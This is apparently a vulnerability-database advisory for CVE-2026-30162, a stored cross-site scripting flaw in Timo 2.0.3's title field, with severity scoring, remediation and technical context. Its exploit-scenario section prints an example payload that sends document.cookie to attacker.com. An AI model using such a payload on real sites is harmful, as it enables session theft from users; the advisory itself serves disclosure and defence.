Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 6.1 vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) reflects a moderate-to-low severity profile: network-accessible, low attack complexity, no privileges required, but user interaction is required and scope is changed with only partial confidentiality and integrity impact. The SSVC framework indicates exploitation probability (POC available, not automatically exploitable, and technical impact is partial), positioning this as a real but not critical priority. While POC code exists, there is no confirmation of active exploitation in CISA KEV data. The cross-site scope (S:C) and requirement for user interaction (UI:R) mean this is a targeted attack vector rather than a broad systemic risk; however, in shared-content environments (blogs, documentation wikis, collaborative platforms) where multiple users view title fields, the blast radius increases substantially. This is a genuine priority for Timo deployments but not an emergency requiring emergency patching protocols. |
| Exploit ScenarioDerived | An attacker crafts a hyperlink containing JavaScript payload and submits it as a title (e.g., title field containing '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">') to create a resource, document, or post in a Timo instance. When other authenticated users view the title in a listing or detail page, the injected script executes in their browser within the Timo application's origin, allowing the attacker to exfiltrate session cookies, perform actions on behalf of the victim, or redirect users to a phishing site. Proof-of-concept code demonstrating this attack has been published on the public GitHub issue, lowering the barrier to exploitation, though actual confirmed exploitation in production environments has not been reported. |
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Alert meAnalysisAIv1 – Mar 26, 2026
Timo 2.0.3 contains a stored cross-site scripting (XSS) vulnerability in the title field that allows unauthenticated remote attackers to inject malicious scripts via crafted links, resulting in session hijacking, credential theft, or malware distribution to other users viewing affected content. Publicly available exploit code exists (referenced via GitHub issue), and the vulnerability is rated CVSS 6.1 with cross-site scope impact, though no evidence of active exploitation in the wild has been confirmed at the time of analysis.
RemediationAI
Upgrade Timo to a patched version released by the vendor after disclosure of CVE-2026-30162; consult the official Timo GitHub repository (https://github.com/auntvt/Timo) and NIST NVD entry (https://nvd.nist.gov/vuln/detail/CVE-2026-30162) for exact patch version availability. As an immediate interim control, restrict title field input to a whitelist of safe characters (alphanumeric, spaces, hyphens, underscores), disable HTML rendering in title display contexts, and apply output encoding (HTML entity encoding) to all dynamically rendered title values. Implement a Content Security Policy (CSP) header with strict-dynamic and script-src 'self' to mitigate the impact of any injected scripts. Until patching is available, audit existing content for suspicious or encoded payloads in title fields and consider temporarily disabling the ability to edit titles if the application permits.
Affected VersionsENISA
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Technical ContextAI · show details
This vulnerability exploits improper input validation and output encoding in Timo 2.0.3's title field handling, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause stems from failure to sanitize or escape user-supplied input before rendering it in HTML context, allowing attackers to embed arbitrary JavaScript payloads that execute in the browsers of users who view the crafted content. The affected product Timo (CPE information incomplete in source data) is a web-based application; the vulnerability specifically resides in the data persistence and display layer where user-submitted titles are stored and subsequently rendered without proper context-aware encoding.
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Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
Cross Site Scripting (xss) vulnerability in Timo 2.0.3 via crafted links in the title field.
Executive ViewAI
CVE-2026-30162 presents moderate security risk, a cross-site scripting vulnerability rated CVSS 6.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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